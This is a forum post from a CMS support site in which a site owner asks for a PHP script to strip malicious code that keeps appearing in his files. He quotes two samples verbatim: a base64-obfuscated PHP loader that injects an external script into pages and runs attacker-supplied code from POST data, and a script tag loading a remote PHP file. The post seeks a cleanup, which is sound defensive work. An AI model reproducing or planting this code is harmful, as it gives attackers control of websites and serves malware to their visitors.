AntiSlaed CMS
Вход
Логин: Пароль:Забыли пароль?
Запомнить вас на этом компьютере?
Войти скрытым?

Здравствуйте, Гость ( Вход | Регистрация )

> Внимание!

Адрес нашего форума изменился, теперь мы доступны по адресу antislaed.net. Обновите ссылки и закладки, он больше не изменится.


> нужен скрипт, описание в теме
turbu
сообщение Mar 15 2010, 15:59
Сообщение #1


Живу на АС
Иконка группы

Группа: Пользователи

Сообщений: 273
Регистрация:
13.3.2008
Пользователь №: 2,710
Спасибо сказали: 43

Вставить ник




Вообшем такая байда, у меня на постой на сайт добавляеца вредный код в такие файлы как "index.htm|html|php, default.* header.* footer.* config.*"

воозможно ли написать такой скрипт(на пхп) чтоб при отрытие этого файла удалялся вредный код с этих файлов,

одни из вредных кодов (добавляеца в начало файла)
КОД
<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygneHJvJykpe2Z1bmN0aW9uIHhybygkcyl7aWYocHJlZ19tYXRj
aF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilp
Z
ihjb3VudChleHBsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO
1
w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9
IycsJHYpO2lmKChwcmVnX21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9t
Q
2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwnZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY
2
UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFtePl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0
Y2goJyNbXC4gXXdpZHRoXHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9u
Z
SNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+JykpJHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlK
C
R2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBsYWNlKCRhPWJhc2U2NF9kZW
N
vZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwyUmxibWx6Wlc0dVkyOXRMbU51TDJWa2FYUnZjaTl
N
U1VORlRsTkZMbkJvY0NBK1BDOXpZM0pwY0hRKycpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScp
K
SRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvc
y
gkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24geHJvMigkYSwkYiwkYywkZCl7Z2xvYm
F
sJHhybzE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJHhybzEpKWNhbGxfdXNlcl9mdW5jKCR
4
cm8xLCRhLCRiLCRjLCRkKTtmb3JlYWNoKEBvYl9nZXRfc3RhdHVzKDEpYXMkdilpZigoJGE9JHZbJ25h
b
WUnXSk9PSd4cm8nKXJldHVybjtlbHNlaWYoJGE9PSdvYl9nemhhbmRsZXInKWJyZWFrO2Vsc2Ukc1tdP
W
FycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2Nv
bnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCd4cm8nKTtmb3IoJGk9MDskaTxjb3VudCgk
c
yk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0keHJvbD0oKCRhPUBzZ
X
RfZXJyb3JfaGFuZGxlcigneHJvMicpKSE9J3hybzInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1
B
PU1RbJ2UnXSkpOw==')); ?>




и бывает такое добавляется в конец файла
КОД
<script src=http://denisen.com.cn/editor/LICENSE.php ></script>


Сообщение отредактировал turbu: Mar 15 2010, 16:02
Перейти в начало страницы
 
     Выделите текст перед нажатием цитаты
+Цитировать сообщение



Ответить в данную темуНачать новую тему

4 чел. читают эту тему (гостей: 4, скрытых пользователей: 0)
Пользователей: 0
 

RSS Текстовая версия Сейчас: 25 November 2024 - 11:42
Хостинг предоставлен NetLevel.Ru   Eleanor CMS